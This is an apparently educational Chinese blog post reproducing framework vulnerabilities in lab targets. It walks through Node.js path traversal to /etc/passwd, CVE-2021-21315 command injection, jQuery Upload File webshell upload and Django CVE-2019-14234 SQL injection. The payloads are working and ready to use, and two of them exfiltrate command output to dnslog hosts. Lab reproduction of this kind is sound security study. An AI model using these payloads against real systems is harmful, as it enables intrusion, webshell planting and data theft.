【小迪安全2023】第63天:服务攻防-框架安全&CVE复现&Django&Flask&Node.Js&uQuery

复制代码
🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

目录

[0x1 大纲](#0x1 大纲)

[0x2 知识点](#0x2 知识点)

[0x3 案例复现](#0x3 案例复现)

案例一:JavaScript-开发框架安全-Jquery&Node

1、node.js目录穿越

2、CVE-2021-21315命令执行

[3、jquery 文件上传 (CVE-2018-9207)](#3、jquery 文件上传 (CVE-2018-9207))

案例二:Python-开发框架安全-Django&Flask

1、django简介

[2、django SQL注入(CVE-2019-14234)](#2、django SQL注入(CVE-2019-14234))


0x1 大纲

0x2 知识点

中间件及框架列表:

cs 复制代码
IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery等
1、开发框架-PHP-Laravel-Thinkphp
2、开发框架-Javaweb-St2-Spring
3、开发框架-Python-django-Flask
4、开发框架-Javascript-Node.js-JQuery
5、其他框架-Java-Apache Shiro&Apache Sorl

常见语言开发框架:

cs 复制代码
PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
JAVA:Spring MyBatis Hibernate Struts2 Springboot等
Python:Django Flask Bottle Turbobars Tornado Web2py等
Javascript:Vue.js Node.js Bootstrap JQuery Angular等
cs 复制代码
#章节内容:
常见中间件的安全测试:
1、配置不当-解析&弱口令
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用-框架特定安全漏洞
 
#前置知识:
-中间件安全测试流程:
1、判断中间件信息-名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞
 
-应用服务安全测试流程:见图
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等
 
-开发框架组件安全测试流程:
1、判断常见语言开发框架类型
2、判断开发框架存在的CVE问题
3、判断开发框架CVE漏洞利用方式

0x3 案例复现

案例一:JavaScript-开发框架安全-Jquery&Node

1、node.js目录穿越

cve_2017_14849

https://vulfocus.cn/#/dashboard

利用插件识别

还有就是这个Google插件Penetration Testing Kit

漏洞复现payload:

cs 复制代码
GET /static/../../../a/../../../../etc/passwd HTTP/1.1
2、CVE-2021-21315命令执行

漏洞复现payload:

cs 复制代码
/api/getServices?name[]=$(ping%20`ls%20/tmp`.z5xwmr.dnslog.cn)
3、jquery 文件上传 (CVE-2018-9207)
cs 复制代码
jQuery Upload File <= 4.0.2 中的任意文件上传

根目录下/jquery-upload-file

通过访问这个框架的文件上传目录

漏洞复现的payload:

cs 复制代码
curl -F "myfile=@sqzr.php" "http://123.58.224.8:59964/jquery-upload-file/php/upload.php"

可以看到sqzr.php木马文件已经上传完成了

成功连接蚁剑,然后进行getshell操作:

案例二:Python-开发框架安全-Django&Flask

1、django简介

css 复制代码
Django 是一款广为流行的开源 web 框架,由 Python 编写,许多网站和 app 都基于
Django 开发。Django 采用了 MTV 的框架模式,即模型 M,视图 V 和模版 T,使用
Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且
Django 还包含许多功能强大的第三方插件,使得 Django 具有较强的可扩展性。

2、django SQL注入(CVE-2019-14234)

这个漏洞需要我们先登录进去,然后才可以进行漏洞利用,所以实际中不是很常见

注入点在/admin/vuln/collection/目录下

漏洞利用的payload:

cs 复制代码
单引号已注入成功,SQL 语句报错:
/admin/vuln/collection/?detail__a%27b=123
创建 cmd_exec:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcreate%20table%20cmd_exec(cmd_output%20text)--%20
调用 cmd_exec 执行命令:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping 37p5oe.dmp4tj.dnslog.cn%27--%20

单引号注入

创建cmd_exec

dns外带

相关推荐
喜欢吃燃面3 小时前
Linux:环境变量
linux·开发语言·学习
毕设源码-赖学姐3 小时前
【开题答辩全过程】以 高校学科竞赛管理系统安全开发为例,包含答辩的问题和答案
安全
代码游侠3 小时前
ARM开发——阶段问题综述(二)
运维·arm开发·笔记·单片机·嵌入式硬件·学习
麦聪聊数据3 小时前
智慧医疗数据互联互通:使用 QuickAPI 构建实时诊疗数据交换层
数据库·sql·安全
徐徐同学3 小时前
cpolar为IT-Tools 解锁公网访问,远程开发再也不卡壳
java·开发语言·分布式
LawrenceLan3 小时前
Flutter 零基础入门(二十六):StatefulWidget 与状态更新 setState
开发语言·前端·flutter·dart
m0_748229993 小时前
Laravel8.X核心功能全解析
开发语言·数据库·php
张祥6422889043 小时前
误差理论与测量平差基础笔记十
笔记·算法·机器学习
qq_192779874 小时前
C++模块化编程指南
开发语言·c++·算法
Mr.朱鹏4 小时前
Nginx路由转发案例实战
java·运维·spring boot·nginx·spring·intellij-idea·jetty